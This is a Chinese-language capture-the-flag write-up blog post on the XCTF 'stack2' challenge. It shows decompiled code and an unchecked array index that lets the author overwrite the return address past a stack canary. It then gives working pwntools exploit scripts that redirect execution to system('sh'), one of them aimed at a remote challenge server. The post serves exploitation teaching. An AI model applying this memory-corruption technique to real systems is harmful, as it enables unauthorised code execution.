XCTF-stack2-WP

初遇canary

Posted by l0tus on 2022-09-28
Estimated Reading Time 5 Minutes
Words 1.1k In Total
Viewed Times

下载附件拖进ida之后观察main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h] BYREF
unsigned int v6; // [esp+1Ch] [ebp-8Ch] BYREF
int v7; // [esp+20h] [ebp-88h] BYREF
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int m; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]

v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( m = 0; m < j; ++m )
v9 += v13[m];
}
return 0;
}

并未发现明显的漏洞利用点,没有像之前read这样的明显栈溢出
后来观察发现这里存在一个v13数组的边界溢出,并且checksec发现存在canary,不能进行简单粗暴的溢出

1
2
3
4
5
6
7
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;

序号为3的change功能这里并未对v5进行检查,导致我们可以任意输入v5进行栈溢出修改,这样就可以控制溢出的位置,绕过canary,同时看到有后门函数hackhere

1
2
3
4
int hackhere()
{
return system("/bin/bash");
}

一眼看成/bin/sh,仔细一看发现是bash(lol),但是问题不大,我们可以自己传参数
既然是要用changenumber功能来修改数组之外的内存,我们就需要计算返回地址和v13的偏移
ida中可以看到这个
char v13[100]; // [esp+38h] [ebp-70h]
那么ret地址我们就直接当作ebp+4,所以偏移是0x74
然后我们找出需要的地址:
system:0x08048450
sh:0x08048987
然后注意传参顺序,写出这样的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
context(arch='amd64',os='linux',log_level='debug')

def change(addr,num):
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(addr))
p.sendlineafter("new number:",str(num))

p=process("./canary")

p.sendlineafter("How many numbers you have:","1")
p.sendlineafter("Give me your numbers","1")

offset=0x74

system_addr=0x08048450
sh_addr=0x08048987

change(offset,0x50)
change(offset+1,0x84)
change(offset+2,0x04)
change(offset+3,0x08)
offset=offset+8
change(offset,0x87)
change(offset+1,0x89)
change(offset+2,0x04)
change(offset+3,0x08)
p.sendlineafter("5. exit","5")
p.interactive()

但是并打不通,查阅网上师傅们的wp得知偏移地址有问题,应该是0x84,那这里就试着调试看看
先看到这一段汇编:

根据汇编得知v13的首地址会存放在ax中,那么当程序运行到0x080486D5的时候ax寄存器中存放的就是v13数组的首地址

main endp的上方有retn,可以得知返回地址会存放在sp栈顶中
先在0x80486d5(mov [eax], cl)打断点,观察到如下:

这里eax记录了v13数组的首地址为0xffffcf68
接着在ret的位置(0x080488F2)打断点,观察如下:

这里esp记录了返回地址0xffffcfec
计算得知,偏移offset = 0xffffcfec - 0xffffcf68 = 0x84

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
context(arch='amd64',os='linux',log_level='debug')

def change(addr,num):
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(addr))
p.sendlineafter("new number:",str(num))

#p=process("./canary")
p=remote("61.147.171.105","52412")

p.sendlineafter("How many numbers you have:","1")
p.sendlineafter("Give me your numbers","1")

offset=0x84

system_addr=0x08048450
sh_addr=0x08048987

change(offset,0x50)
change(offset+1,0x84)
change(offset+2,0x04)
change(offset+3,0x08)
offset=offset+8
change(offset,0x87)
change(offset+1,0x89)
change(offset+2,0x04)
change(offset+3,0x08)
p.sendlineafter("5. exit","5")
p.interactive()

学到的东西

1、system里面直接可以传sh,这样也可以获取shell
2、一种新的溢出方式,数组边界的溢出
3、直接利用题目里的change function绕过canary


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !